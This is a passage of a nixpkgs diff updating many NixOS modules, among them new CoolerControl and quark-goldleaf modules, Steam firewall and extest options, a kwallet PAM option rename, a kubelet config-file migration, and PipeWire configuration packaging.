builtins.toJSON cfg.extraOpts; }; + "chromium/initial_preferences" = lib.mkIf (cfg.initialPrefs != {}) { text = builtins.toJSON cfg.initialPrefs; }; # for google-chrome https://www.chromium.org/administrators/linux-quick-start "opt/chrome/native-messaging-hosts/org.kde.plasma.browser_integration.json" = lib.mkIf cfg.enablePlasmaBrowserIntegration { source = "${cfg.plasmaBrowserIntegrationPackage}/etc/opt/chrome/native-messaging-hosts/org.kde.plasma.browser_integration.json"; }; diff --git a/nixos/modules/programs/coolercontrol.nix b/nixos/modules/programs/coolercontrol.nix new file mode 100644 index 0000000000000..6e7299ad16b72 --- /dev/null +++ b/nixos/modules/programs/coolercontrol.nix @@ -0,0 +1,37 @@ +{ config +, lib +, pkgs +, ... +}: + +let + cfg = config.programs.coolercontrol; +in +{ + ##### interface + options = { + programs.coolercontrol.enable = lib.mkEnableOption (lib.mdDoc "CoolerControl GUI & its background services"); + }; + + ##### implementation + config = lib.mkIf cfg.enable { + environment.systemPackages = with pkgs.coolercontrol; [ + coolercontrol-gui + ]; + + systemd = { + packages = with pkgs.coolercontrol; [ + coolercontrol-liqctld + coolercontrold + ]; + + # https://github.com/NixOS/nixpkgs/issues/81138 + services = { + coolercontrol-liqctld.wantedBy = [ "multi-user.target" ]; + coolercontrold.wantedBy = [ "multi-user.target" ]; + }; + }; + }; + + meta.maintainers = with lib.maintainers; [ OPNA2608 codifryed ]; +} diff --git a/nixos/modules/programs/gnupg.nix b/nixos/modules/programs/gnupg.nix index 8f82de0336667..179d2de87cc58 100644 --- a/nixos/modules/programs/gnupg.nix +++ b/nixos/modules/programs/gnupg.nix @@ -15,6 +15,7 @@ let defaultPinentryFlavor = if xserverCfg.desktopManager.lxqt.enable || xserverCfg.desktopManager.plasma5.enable + || xserverCfg.desktopManager.plasma6.enable || xserverCfg.desktopManager.deepin.enable then "qt" else if xserverCfg.desktopManager.xfce.enable then diff --git a/nixos/modules/programs/kdeconnect.nix b/nixos/modules/programs/kdeconnect.nix index a16fad03eefe0..8cdf1eb4e6452 100644 --- a/nixos/modules/programs/kdeconnect.nix +++ b/nixos/modules/programs/kdeconnect.nix @@ -20,7 +20,10 @@ with lib; cfg = config.programs.kdeconnect; in mkIf cfg.enable { - environment.systemPackages = [ cfg.package ]; + environment.systemPackages = [ + cfg.package + pkgs.sshfs + ]; networking.firewall = rec { allowedTCPPortRanges = [ { from = 1714; to = 1764; } ]; allowedUDPPortRanges = allowedTCPPortRanges; diff --git a/nixos/modules/programs/quark-goldleaf.nix b/nixos/modules/programs/quark-goldleaf.nix new file mode 100644 index 0000000000000..71aadc8c594e1 --- /dev/null +++ b/nixos/modules/programs/quark-goldleaf.nix @@ -0,0 +1,18 @@ +{ config, lib, pkgs, ... }: +let + cfg = config.programs.quark-goldleaf; +in +{ + options = { + programs.quark-goldleaf = { + enable = lib.mkEnableOption "quark-goldleaf with udev rules applied"; + }; + }; + + config = lib.mkIf cfg.enable { + environment.systemPackages = [ pkgs.quark-goldleaf ]; + services.udev.packages = [ pkgs.quark-goldleaf ]; + }; + + meta.maintainers = pkgs.quark-goldleaf.meta.maintainers; +} diff --git a/nixos/modules/programs/steam.nix b/nixos/modules/programs/steam.nix index 29c449c16946c..d6e2a82af100e 100644 --- a/nixos/modules/programs/steam.nix +++ b/nixos/modules/programs/steam.nix @@ -56,6 +56,8 @@ in { # use the setuid wrapped bubblewrap bubblewrap = "${config.security.wrapperDir}/.."; }; + } // optionalAttrs cfg.extest.enable { + extraEnv.LD_PRELOAD = "${pkgs.pkgsi686Linux.extest}/lib/libextest.so"; }); description = lib.mdDoc '' The Steam package to use. Additional libraries are added from the system @@ -82,6 +84,14 @@ in { ''; }; + localNetworkGameTransfers.openFirewall = mkOption { + type = types.bool; + default = false; + description = lib.mdDoc '' + Open ports in the firewall for Steam Local Network Game Transfers. + ''; + }; + gamescopeSession = mkOption { description = mdDoc "Run a GameScope driven Steam session from your display-manager"; default = {}; @@ -106,6 +116,11 @@ in { }; }; }; + + extest.enable = mkEnableOption (lib.mdDoc '' + Load the extest library into Steam, to translate X11 input events to + uinput events (e.g. for using Steam Input on Wayland) + ''); }; config = mkIf cfg.enable { @@ -139,15 +154,23 @@ in { ] ++ lib.optional cfg.gamescopeSession.enable steam-gamescope; networking.firewall = lib.mkMerge [ + (mkIf (cfg.remotePlay.openFirewall || cfg.localNetworkGameTransfers.openFirewall) { + allowedUDPPorts = [ 27036 ]; # Peer discovery + }) + (mkIf cfg.remotePlay.openFirewall { allowedTCPPorts = [ 27036 ]; - allowedUDPPortRanges = [ { from = 27031; to = 27036; } ]; + allowedUDPPortRanges = [ { from = 27031; to = 27035; } ]; }) (mkIf cfg.dedicatedServer.openFirewall { allowedTCPPorts = [ 27015 ]; # SRCDS Rcon port allowedUDPPorts = [ 27015 ]; # Gameplay traffic }) + + (mkIf cfg.localNetworkGameTransfers.openFirewall { + allowedTCPPorts = [ 27040 ]; # Data transfers + }) ]; }; diff --git a/nixos/modules/programs/wayland/sway.nix b/nixos/modules/programs/wayland/sway.nix index 57ee629b28810..ca2503ae5da77 100644 --- a/nixos/modules/programs/wayland/sway.nix +++ b/nixos/modules/programs/wayland/sway.nix @@ -119,10 +119,10 @@ in { extraPackages = mkOption { type = with types; listOf package; default = with pkgs; [ - swaylock swayidle foot dmenu + swaylock swayidle foot dmenu wmenu ]; defaultText = literalExpression '' - with pkgs; [ swaylock swayidle foot dmenu ]; + with pkgs; [ swaylock swayidle foot dmenu wmenu ]; ''; example = literalExpression '' with pkgs; [ diff --git a/nixos/modules/programs/yazi.nix b/nixos/modules/programs/yazi.nix index 273a7eeed05fd..338eddb60d80b 100644 --- a/nixos/modules/programs/yazi.nix +++ b/nixos/modules/programs/yazi.nix @@ -22,7 +22,7 @@ in description = lib.mdDoc '' Configuration included in `${name}.toml`. - See https://github.com/sxyazi/yazi/blob/v${cfg.package.version}/config/docs/${name}.md for documentation. + See https://yazi-rs.github.io/docs/configuration/${name}/ for documentation. ''; })) names); @@ -47,7 +47,5 @@ in }; meta = { maintainers = with lib.maintainers; [ linsui ]; - # The version of the package is used in the doc. - buildDocsInSandbox = false; }; } diff --git a/nixos/modules/security/ca.nix b/nixos/modules/security/ca.nix index 3cd56bff04d18..ae188ea709dd5 100644 --- a/nixos/modules/security/ca.nix +++ b/nixos/modules/security/ca.nix @@ -11,7 +11,8 @@ let extraCertificateFiles = cfg.certificateFiles; extraCertificateStrings = cfg.certificates; }; - caBundle = "${cacertPackage}/etc/ssl/certs/ca-bundle.crt"; + caBundleName = if cfg.useCompatibleBundle then "ca-no-trust-rules-bundle.crt" else "ca-bundle.crt"; + caBundle = "${cacertPackage}/etc/ssl/certs/${caBundleName}"; in @@ -23,6 +24,17 @@ in internal = true; }; + security.pki.useCompatibleBundle = mkEnableOption ''usage of a compatibility bundle. + + Such a bundle consist exclusively of `BEGIN CERTIFICATE` and no `BEGIN TRUSTED CERTIFICATE`, + which is a OpenSSL specific PEM format. + + It is known to be incompatible with certain software stacks. + + Nevertheless, enabling this will strip all additional trust rules provided by the + certificates themselves, this can have security consequences depending on your usecases. + ''; + security.pki.certificateFiles = mkOption { type = types.listOf types.path; default = []; diff --git a/nixos/modules/security/pam.nix b/nixos/modules/security/pam.nix index ed03254cb5ee5..560e5eff5c39a 100644 --- a/nixos/modules/security/pam.nix +++ b/nixos/modules/security/pam.nix @@ -96,6 +96,10 @@ let pamOpts = { config, name, ... }: let cfg = config; in let config = parentConfig; in { + imports = [ + (lib.mkRenamedOptionModule [ "enableKwallet" ] [ "kwallet" "enable" ]) + ]; + options = { name = mkOption { @@ -462,16 +466,23 @@ let ''; }; - enableKwallet = mkOption { - default = false; - type = types.bool; - description = lib.mdDoc '' - If enabled, pam_wallet will attempt to automatically unlock the - user's default KDE wallet upon login. If the user has no wallet named - "kdewallet", or the login password does not match their wallet - password, KDE will prompt separately after login. - ''; + kwallet = { + enable = mkOption { + default = false; + type = types.bool; + description = lib.mdDoc '' + If enabled, pam_wallet will attempt to automatically unlock the + user's default KDE wallet upon login. If the user has no wallet named + "kdewallet", or the login password does not match their wallet + password, KDE will prompt separately after login. + ''; + }; + + package = mkPackageOption pkgs.plasma5Packages "kwallet-pam" { + pkgsText = "pkgs.plasma5Packages"; + }; }; + sssdStrictAccess = mkOption { default = false; type = types.bool; @@ -686,7 +697,7 @@ let (config.security.pam.enableEcryptfs || config.security.pam.enableFscrypt || cfg.pamMount - || cfg.enableKwallet + || cfg.kwallet.enable || cfg.enableGnomeKeyring || config.services.intune.enable || cfg.googleAuthenticator.enable @@ -711,9 +722,7 @@ let { name = "mount"; enable = cfg.pamMount; control = "optional"; modulePath = "${pkgs.pam_mount}/lib/security/pam_mount.so"; settings = { disable_interactive = true; }; } - { name = "kwallet5"; enable = cfg.enableKwallet; control = "optional"; modulePath = "${pkgs.plasma5Packages.kwallet-pam}/lib/security/pam_kwallet5.so"; settings = { - kwalletd = "${pkgs.plasma5Packages.kwallet.bin}/bin/kwalletd5"; - }; } + { name = "kwallet"; enable = cfg.kwallet.enable; control = "optional"; modulePath = "${cfg.kwallet.package}/lib/security/pam_kwallet5.so"; } { name = "gnome_keyring"; enable = cfg.enableGnomeKeyring; control = "optional"; modulePath = "${pkgs.gnome.gnome-keyring}/lib/security/pam_gnome_keyring.so"; } { name = "intune"; enable = config.services.intune.enable; control = "optional"; modulePath = "${pkgs.intune-portal}/lib/security/pam_intune.so"; } { name = "gnupg"; enable = cfg.gnupg.enable; control = "optional"; modulePath = "${pkgs.pam_gnupg}/lib/security/pam_gnupg.so"; settings = { @@ -848,9 +857,7 @@ let order = "user,group,default"; debug = true; }; } - { name = "kwallet5"; enable = cfg.enableKwallet; control = "optional"; modulePath = "${pkgs.plasma5Packages.kwallet-pam}/lib/security/pam_kwallet5.so"; settings = { - kwalletd = "${pkgs.plasma5Packages.kwallet.bin}/bin/kwalletd5"; - }; } + { name = "kwallet"; enable = cfg.kwallet.enable; control = "optional"; modulePath = "${cfg.kwallet.package}/lib/security/pam_kwallet5.so"; } { name = "gnome_keyring"; enable = cfg.enableGnomeKeyring; control = "optional"; modulePath = "${pkgs.gnome.gnome-keyring}/lib/security/pam_gnome_keyring.so"; settings = { auto_start = true; }; } @@ -1458,9 +1465,9 @@ in ''; } { - assertion = config.security.pam.zfs.enable -> (config.boot.zfs.enabled || config.boot.zfs.enableUnstable); + assertion = config.security.pam.zfs.enable -> config.boot.zfs.enabled; message = '' - `security.pam.zfs.enable` requires enabling ZFS (`boot.zfs.enabled` or `boot.zfs.enableUnstable`). + `security.pam.zfs.enable` requires enabling ZFS (`boot.zfs.enabled`). ''; } { diff --git a/nixos/modules/services/backup/syncoid.nix b/nixos/modules/services/backup/syncoid.nix index 7b8d3b431309f..4a04f0aa16221 100644 --- a/nixos/modules/services/backup/syncoid.nix +++ b/nixos/modules/services/backup/syncoid.nix @@ -134,7 +134,7 @@ in localSourceAllow = mkOption { type = types.listOf types.str; # Permissions snapshot and destroy are in case --no-sync-snap is not used - default = [ "bookmark" "hold" "send" "snapshot" "destroy" ]; + default = [ "bookmark" "hold" "send" "snapshot" "destroy" "mount" ]; description = lib.mdDoc '' Permissions granted for the {option}`services.syncoid.user` user for local source datasets. See diff --git a/nixos/modules/services/cluster/kubernetes/default.nix b/nixos/modules/services/cluster/kubernetes/default.nix index 3fb916c769715..a920b6cb12682 100644 --- a/nixos/modules/services/cluster/kubernetes/default.nix +++ b/nixos/modules/services/cluster/kubernetes/default.nix @@ -285,7 +285,7 @@ in { systemd.tmpfiles.rules = [ "d /opt/cni/bin 0755 root root -" "d /run/kubernetes 0755 kubernetes kubernetes -" - "d /var/lib/kubernetes 0755 kubernetes kubernetes -" + "d ${cfg.dataDir} 0755 kubernetes kubernetes -" ]; users.users.kubernetes = { @@ -294,6 +294,7 @@ in { group = "kubernetes"; home = cfg.dataDir; createHome = true; + homeMode = "755"; }; users.groups.kubernetes.gid = config.ids.gids.kubernetes; diff --git a/nixos/modules/services/cluster/kubernetes/kubelet.nix b/nixos/modules/services/cluster/kubernetes/kubelet.nix index fd2dce7ee6a25..313dbe2340182 100644 --- a/nixos/modules/services/cluster/kubernetes/kubelet.nix +++ b/nixos/modules/services/cluster/kubernetes/kubelet.nix @@ -33,6 +33,41 @@ let kubeconfig = top.lib.mkKubeConfig "kubelet" cfg.kubeconfig; + # Flag based settings are deprecated, use the `--config` flag with a + # `KubeletConfiguration` struct. + # https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ + # + # NOTE: registerWithTaints requires a []core/v1.Taint, therefore requires + # additional work to be put in config format. + # + kubeletConfig = pkgs.writeText "kubelet-config" (builtins.toJSON ({ + apiVersion = "kubelet.config.k8s.io/v1beta1"; + kind = "KubeletConfiguration"; + address = cfg.address; + port = cfg.port; + authentication = { + x509 = lib.optionalAttrs (cfg.clientCaFile != null) { clientCAFile = cfg.clientCaFile; }; + webhook = { + enabled = true; + cacheTTL = "10s"; + }; + }; + authorization = { + mode = "Webhook"; + }; + cgroupDriver = "systemd"; + hairpinMode = "hairpin-veth"; + registerNode = cfg.registerNode; + containerRuntimeEndpoint = cfg.containerRuntimeEndpoint; + healthzPort = cfg.healthz.port; + healthzBindAddress = cfg.healthz.bind; + } // lib.optionalAttrs (cfg.tlsCertFile != null) { tlsCertFile = cfg.tlsCertFile; } + // lib.optionalAttrs (cfg.tlsKeyFile != null) { tlsPrivateKeyFile = cfg.tlsKeyFile; } + // lib.optionalAttrs (cfg.clusterDomain != "") { clusterDomain = cfg.clusterDomain; } + // lib.optionalAttrs (cfg.clusterDns != "") { clusterDNS = [ cfg.clusterDns ] ; } + // lib.optionalAttrs (cfg.featureGates != []) { featureGates = cfg.featureGates; } + )); + manifestPath = "kubernetes/manifests"; taintOptions = with lib.types; { name, ... }: { @@ -294,21 +329,7 @@ in Restart = "on-failure"; RestartSec = "1000ms"; ExecStart = ''${top.package}/bin/kubelet \ - --address=${cfg.address} \ - --authentication-token-webhook \ - --authentication-token-webhook-cache-ttl="10s" \ - --authorization-mode=Webhook \ - ${optionalString (cfg.clientCaFile != null) - "--client-ca-file=${cfg.clientCaFile}"} \ - ${optionalString (cfg.clusterDns != "") - "--cluster-dns=${cfg.clusterDns}"} \ - ${optionalString (cfg.clusterDomain != "") - "--cluster-domain=${cfg.clusterDomain}"} \ - ${optionalString (cfg.featureGates != []) - "--feature-gates=${concatMapStringsSep "," (feature: "${feature}=true") cfg.featureGates}"} \ - --hairpin-mode=hairpin-veth \ - --healthz-bind-address=${cfg.healthz.bind} \ - --healthz-port=${toString cfg.healthz.port} \ + --config=${kubeletConfig} \ --hostname-override=${cfg.hostname} \ --kubeconfig=${kubeconfig} \ ${optionalString (cfg.nodeIp != null) @@ -316,18 +337,10 @@ in --pod-infra-container-image=pause \ ${optionalString (cfg.manifests != {}) "--pod-manifest-path=/etc/${manifestPath}"} \ - --port=${toString cfg.port} \ - --register-node=${boolToString cfg.registerNode} \ ${optionalString (taints != "") "--register-with-taints=${taints}"} \ --root-dir=${top.dataDir} \ - ${optionalString (cfg.tlsCertFile != null) - "--tls-cert-file=${cfg.tlsCertFile}"} \ - ${optionalString (cfg.tlsKeyFile != null) - "--tls-private-key-file=${cfg.tlsKeyFile}"} \ ${optionalString (cfg.verbosity != null) "--v=${toString cfg.verbosity}"} \ - --container-runtime-endpoint=${cfg.containerRuntimeEndpoint} \ - --cgroup-driver=systemd \ ${cfg.extraOpts} ''; WorkingDirectory = top.dataDir; diff --git a/nixos/modules/services/cluster/kubernetes/pki.nix b/nixos/modules/services/cluster/kubernetes/pki.nix index 9a01238c23915..a4b5cb8eda865 100644 --- a/nixos/modules/services/cluster/kubernetes/pki.nix +++ b/nixos/modules/services/cluster/kubernetes/pki.nix @@ -192,7 +192,8 @@ in mkdir -p "$(dirname "${certmgrAPITokenPath}")" if [ -f "${cfsslAPITokenPath}" ]; then ln -fs "${cfsslAPITokenPath}" "${certmgrAPITokenPath}" - else + elif [ ! -f "${certmgrAPITokenPath}" ]; then + # Don't remove the token if it already exists install -m 600 /dev/null "${certmgrAPITokenPath}" fi '' diff --git a/nixos/modules/services/continuous-integration/hydra/default.nix b/nixos/modules/services/continuous-integration/hydra/default.nix index 54bbe69703f95..b1d44e67658bd 100644 --- a/nixos/modules/services/continuous-integration/hydra/default.nix +++ b/nixos/modules/services/continuous-integration/hydra/default.nix @@ -39,7 +39,7 @@ let hydra-package = let - makeWrapperArgs = concatStringsSep " " (mapAttrsToList (key: value: "--set \"${key}\" \"${value}\"") hydraEnv); + makeWrapperArgs = concatStringsSep " " (mapAttrsToList (key: value: "--set-default \"${key}\" \"${value}\"") hydraEnv); in pkgs.buildEnv rec { name = "hydra-env"; nativeBuildInputs = [ pkgs.makeWrapper ]; diff --git a/nixos/modules/services/databases/mysql.nix b/nixos/modules/services/databases/mysql.nix index 128bb0862175d..a6d71cca88de4 100644 --- a/nixos/modules/services/databases/mysql.nix +++ b/nixos/modules/services/databases/mysql.nix @@ -7,6 +7,9 @@ let cfg = config.services.mysql; isMariaDB = lib.getName cfg.package == lib.getName pkgs.mariadb; + isOracle = lib.getName cfg.package == lib.getName pkgs.mysql80; + # Oracle MySQL has supported "notify" service type since 8.0 + hasNotify = isMariaDB || (isOracle && versionAtLeast cfg.package.version "8.0"); mysqldOptions = "--user=${cfg.user} --datadir=${cfg.dataDir} --basedir=${cfg.package}"; @@ -377,19 +380,11 @@ in # The super user account to use on *first* run of MySQL server superUser = if isMariaDB then cfg.user else "root"; in '' - ${optionalString (!isMariaDB) '' + ${optionalString (!hasNotify) '' # Wait until the MySQL server is available for use - count=0 while [ ! -e /run/mysqld/mysqld.sock ] do - if [ $count -eq 30 ] - then - echo "Tried 30 times, giving up..." - exit 1 - fi - echo "MySQL daemon not yet started. Waiting for 1 second..." - count=$((count++)) sleep 1 done ''} @@ -477,7 +472,7 @@ in serviceConfig = mkMerge [ { - Type = if isMariaDB then "notify" else "simple"; + Type = if hasNotify then "notify" else "simple"; Restart = "on-abort"; RestartSec = "5s"; diff --git a/nixos/modules/services/databases/pgbouncer.nix b/nixos/modules/services/databases/pgbouncer.nix index 65b287e84442b..157d49c131617 100644 --- a/nixos/modules/services/databases/pgbouncer.nix +++ b/nixos/modules/services/databases/pgbouncer.nix @@ -66,9 +66,6 @@ let ${optionalString (cfg.adminUsers != null) "admin_users = ${cfg.adminUsers}"} ${optionalString (cfg.statsUsers != null) "stats_users = ${cfg.statsUsers}"} - # linux - pidfile = /run/pgbouncer/pgbouncer.pid - # extra ${cfg.extraConfig} ''; @@ -96,10 +93,9 @@ in { logFile = mkOption { type = types.nullOr types.str; - default = "pgbouncer.log"; + default = null; description = lib.mdDoc '' - Specifies the log file. - Either this or syslog has to be specified. + Specifies a log file in addition to journald. ''; }; @@ -601,22 +597,21 @@ in { systemd.services.pgbouncer = { description = "PgBouncer - PostgreSQL connection pooler"; - wants = [ "postgresql.service" ]; - after = [ "postgresql.service" ]; + wants = [ "network-online.target" ] ++ lib.optional config.services.postgresql.enable "postgresql.service"; + after = [ "network-online.target" ] ++ lib.optional config.services.postgresql.enable "postgresql.service"; wantedBy = [ "multi-user.target" ]; serviceConfig = { - Type = "forking"; + Type = "notify"; User = cfg.user; Group = cfg.group; - ExecStart = "${pkgs.pgbouncer}/bin/pgbouncer -d ${confFile}"; + ExecStart = "${lib.getExe pkgs.pgbouncer} ${confFile}"; ExecReload = "${pkgs.coreutils}/bin/kill -SIGHUP $MAINPID"; RuntimeDirectory = "pgbouncer"; - PIDFile = "/run/pgbouncer/pgbouncer.pid"; LimitNOFILE = cfg.openFilesLimit; }; }; - networking.firewall.allowedTCPPorts = optional cfg.openFirewall cfg.port; + networking.firewall.allowedTCPPorts = optional cfg.openFirewall cfg.listenPort; }; diff --git a/nixos/modules/services/databases/postgresql.nix b/nixos/modules/services/databases/postgresql.nix index ed5915735730b..c4e76c82ba5c7 100644 --- a/nixos/modules/services/databases/postgresql.nix +++ b/nixos/modules/services/databases/postgresql.nix @@ -161,33 +161,6 @@ in ''; }; - ensurePermissions = mkOption { - type = types.attrsOf types.str; - default = {}; - visible = false; # This option has been deprecated. - description = lib.mdDoc '' - This option is DEPRECATED and should not be used in nixpkgs anymore, - use `ensureDBOwnership` instead. It can also break with newer - versions of PostgreSQL (≥ 15). - - Permissions to ensure for the user, specified as an attribute set. - The attribute names specify the database and tables to grant the permissions for. - The attribute values specify the permissions to grant. You may specify one or - multiple comma-separated SQL privileges here. - - For more information on how to specify the target - and on which privileges exist, see the - [GRANT syntax](https://www.postgresql.org/docs/current/sql-grant.html). - The attributes are used as `GRANT ''${attrValue} ON ''${attrName}`. - ''; - example = literalExpression '' - { - "DATABASE \"nextcloud\"" = "ALL PRIVILEGES"; - "ALL TABLES IN SCHEMA public" = "ALL PRIVILEGES"; - } - ''; - }; - ensureDBOwnership = mkOption { type = types.bool; default = false; @@ -460,16 +433,6 @@ in Offender: ${name} has not been found among databases. ''; }) cfg.ensureUsers; - # `ensurePermissions` is now deprecated, let's avoid it. - warnings = lib.optional (any ({ ensurePermissions, ... }: ensurePermissions != {}) cfg.ensureUsers) " - `services.postgresql.ensureUsers.*.ensurePermissions` is used in your expressions, - this option is known to be broken with newer PostgreSQL versions, - consider migrating to `services.postgresql.ensureUsers.*.ensureDBOwnership` or - consult the release notes or manual for more migration guidelines. - - This option will be removed in NixOS 24.05 unless it sees significant - maintenance improvements. - "; services.postgresql.settings = { @@ -583,11 +546,6 @@ in concatMapStrings (user: let - userPermissions = concatStringsSep "\n" - (mapAttrsToList - (database: permission: ''$PSQL -tAc 'GRANT ${permission} ON ${database} TO "${user.name}"' '') - user.ensurePermissions - ); dbOwnershipStmt = optionalString user.ensureDBOwnership ''$PSQL -tAc 'ALTER DATABASE "${user.name}" OWNER TO "${user.name}";' ''; @@ -599,7 +557,6 @@ in userClauses = ''$PSQL -tAc 'ALTER ROLE "${user.name}" ${concatStringsSep " " clauseSqlStatements}' ''; in '' $PSQL -tAc "SELECT 1 FROM pg_roles WHERE rolname='${user.name}'" | grep -q 1 || $PSQL -tAc 'CREATE USER "${user.name}"' - ${userPermissions} ${userClauses} ${dbOwnershipStmt} diff --git a/nixos/modules/services/desktops/pipewire/pipewire.nix b/nixos/modules/services/desktops/pipewire/pipewire.nix index da409030b3a35..09448833620c6 100644 --- a/nixos/modules/services/desktops/pipewire/pipewire.nix +++ b/nixos/modules/services/desktops/pipewire/pipewire.nix @@ -1,11 +1,15 @@ -# pipewire service. +# PipeWire service. { config, lib, pkgs, ... }: with lib; let json = pkgs.formats.json {}; - mapToFiles = location: config: concatMapAttrs (name: value: { "pipewire/${location}.conf.d/${name}.conf".source = json.generate "${name}" value;}) config; + mapToFiles = location: config: concatMapAttrs (name: value: { "share/pipewire/${location}.conf.d/${name}.conf" = json.generate "${name}" value; }) config; + extraConfigPkgFromFiles = locations: filesSet: pkgs.runCommand "pipewire-extra-config" { } '' + mkdir -p ${lib.concatMapStringsSep " " (l: "$out/share/pipewire/${l}.conf.d") locations} + ${lib.concatMapStringsSep ";" ({name, value}: "ln -s ${value} $out/${name}") (lib.attrsToList filesSet)} + ''; cfg = config.services.pipewire; enable32BitAlsaPlugins = cfg.alsa.support32Bit && pkgs.stdenv.isx86_64 @@ -19,13 +23,48 @@ let mkdir -p "$out/lib" ln -s "${cfg.package.jack}/lib" "$out/lib/pipewire" ''; + + configPackages = cfg.configPackages; + + extraConfigPkg = extraConfigPkgFromFiles + [ "pipewire" "client" "client-rt" "jack" "pipewire-pulse" ] + ( + mapToFiles "pipewire" cfg.extraConfig.pipewire + // mapToFiles "client" cfg.extraConfig.client + // mapToFiles "client-rt" cfg.extraConfig.client-rt + // mapToFiles "jack" cfg.extraConfig.jack + // mapToFiles "pipewire-pulse" cfg.extraConfig.pipewire-pulse + ); + + configs = pkgs.buildEnv { + name = "pipewire-configs"; + paths = configPackages + ++ [ extraConfigPkg ] + ++ lib.optionals cfg.wireplumber.enable cfg.wireplumber.configPackages; + pathsToLink = [ "/share/pipewire" ]; + }; + + requiredLv2Packages = lib.flatten + ( + lib.concatMap + (p: + lib.attrByPath ["passthru" "requiredLv2Packages"] [] p + ) + configPackages + ); + + lv2Plugins = pkgs.buildEnv { + name = "pipewire-lv2-plugins"; + paths = cfg.extraLv2Packages ++ requiredLv2Packages; + pathsToLink = [ "/lib/lv2" ]; + }; in { meta.maintainers = teams.freedesktop.members ++ [ lib.maintainers.k900 ]; ###### interface options = { services.pipewire = { - enable = mkEnableOption (lib.mdDoc "pipewire service"); + enable = mkEnableOption (lib.mdDoc "PipeWire service"); package = mkPackageOption pkgs "pipewire" { }; @@ -33,7 +72,7 @@ in { default = true; type = types.bool; description = lib.mdDoc '' - Automatically run pipewire when connections are made to the pipewire socket. + Automatically run PipeWire when connections are made to the PipeWire socket. ''; }; @@ -200,6 +239,34 @@ in { ''; }; }; + + configPackages = lib.mkOption { + type = lib.types.listOf lib.types.package; + default = []; + description = lib.mdDoc '' + List of packages that provide PipeWire configuration, in the form of + `share/pipewire/*/*.conf` files. + + LV2 dependencies will be picked up from config packages automatically + via `passthru.requiredLv2Packages`. + ''; + }; + + extraLv2Packages = lib.mkOption { + type = lib.types.listOf lib.types.package; + default = []; + example = lib.literalExpression "[ pkgs.lsp-plugins ]"; + description = lib.mdDoc '' + List of packages that provide LV2 plugins in `lib/lv2` that should + be made available to PipeWire for [filter chains][wiki-filter-chain]. + + Config packages have their required LV2 plugins added automatically, + so they don't need to be specified here. Config packages need to set + `passthru.requiredLv2Packages` for this to work. + + [wiki-filter-chain]: https://docs.pipewire.org/page_module_filter_chain.html + ''; + }; }; }; @@ -230,6 +297,18 @@ in { assertion = (cfg.alsa.enable || cfg.pulse.enable) -> cfg.audio.enable; message = "Using PipeWire's ALSA/PulseAudio compatibility layers requires running PipeWire as the sound server. Set `services.pipewire.audio.enable` to true."; } + { + assertion = builtins.length + (builtins.attrNames + ( + lib.filterAttrs + (name: value: + lib.hasPrefix "pipewire/" name || name == "pipewire" + ) + config.environment.etc + )) == 1; + message = "Using `environment.etc.\"pipewire<...>\"` directly is no longer supported in 24.05. Use `services.pipewire.extraConfig` or `services.pipewire.configPackages` instead."; + } ]; environment.systemPackages = [ cfg.package ] @@ -249,6 +328,9 @@ in { systemd.user.sockets.pipewire.enable = !cfg.systemWide; systemd.user.services.pipewire.enable = !cfg.systemWide; + systemd.services.pipewire.environment.LV2_PATH = lib.mkIf cfg.systemWide "${lv2Plugins}/lib/lv2"; + systemd.user.services.pipewire.environment.LV2_PATH = lib.mkIf (!cfg.systemWide) "${lv2Plugins}/lib/lv2"; + # Mask pw-pulse if it's not wanted systemd.user.services.pipewire-pulse.enable = cfg.pulse.enable; systemd.user.sockets.pipewire-pulse.enable = cfg.pulse.enable; @@ -283,12 +365,8 @@ in { "alsa/conf.d/99-pipewire-default.conf" = mkIf cfg.alsa.enable { source = "${cfg.package}/share/alsa/alsa.conf.d/99-pipewire-default.conf"; }; - } - // mapToFiles "pipewire" cfg.extraConfig.pipewire - // mapToFiles "client" cfg.extraConfig.client - // mapToFiles "client-rt" cfg.extraConfig.client-rt - // mapToFiles "jack" cfg.extraConfig.jack - // mapToFiles "pipewire-pulse" cfg.extraConfig.pipewire-pulse; + pipewire.source = "${configs}/share/pipewire"; + }; environment.sessionVariables.LD_LIBRARY_PATH = lib.mkIf cfg.jack.enable [ "${cfg.package.jack}/lib" ]; @@ -301,7 +379,7 @@ in { "audio" "video" ] ++ lib.optional config.security.rtkit.enable "rtkit"; - description = "Pipewire system service user"; + description = "PipeWire system service user"; isSystemUser = true; home = "/var/lib/pipewire"; createHome = true; diff --git a/nixos/modules/services/desktops/pipewire/wireplumber.nix b/nixos/modules/services/desktops/pipewire/wireplumber.nix index 95a7ece26c5d2..009d68bd4f28d 100644 --- a/nixos/modules/services/desktops/pipewire/wireplumber.nix +++ b/nixos/modules/services/desktops/pipewire/wireplumber.nix @@ -14,60 +14,127 @@ in type = lib.types.bool; default = config.services.pipewire.enable; defaultText = lib.literalExpression "config.services.pipewire.enable"; - description = lib.mdDoc "Whether to enable Wireplumber, a modular session / policy manager for PipeWire"; + description = lib.mdDoc "Whether to enable WirePlumber, a modular session / policy manager for PipeWire"; }; package = lib.mkOption { type = lib.types.package; default = pkgs.wireplumber; defaultText = lib.literalExpression "pkgs.wireplumber"; - description = lib.mdDoc "The wireplumber derivation to use."; + description = lib.mdDoc "The WirePlumber derivation to use."; }; - }; - }; - config = lib.mkIf cfg.enable { - assertions = [ - { - assertion = !config.hardware.bluetooth.hsphfpd.enable; - message = "Using Wireplumber conflicts with hsphfpd, as it provides the same functionality. `hardware.bluetooth.hsphfpd.enable` needs be set to false"; - } - ]; + configPackages = lib.mkOption { + type = lib.types.listOf lib.types.package; + default = [ ]; + description = lib.mdDoc '' + List of packages that provide WirePlumber configuration, in the form of + `share/wireplumber/*/*.lua` files. + + LV2 dependencies will be picked up from config packages automatically + via `passthru.requiredLv2Packages`. + ''; + }; + + extraLv2Packages = lib.mkOption { + type = lib.types.listOf lib.types.package; + default = []; + example = lib.literalExpression "[ pkgs.lsp-plugins ]"; + description = lib.mdDoc '' + List of packages that provide LV2 plugins in `lib/lv2` that should + be made available to WirePlumber for [filter chains][wiki-filter-chain]. + + Config packages have their required LV2 plugins added automatically, + so they don't need to be specified here. Config packages need to set + `passthru.requiredLv2Packages` for this to work. - environment.systemPackages = [ cfg.package ]; + [wiki-filter-chain]: https://docs.pipewire.org/page_module_filter_chain.html + ''; + }; + }; + }; - environment.etc."wireplumber/main.lua.d/80-nixos.lua" = lib.mkIf (!pwUsedForAudio) { - text = '' - -- Pipewire is not used for audio, so prevent it from grabbing audio devices + config = + let + 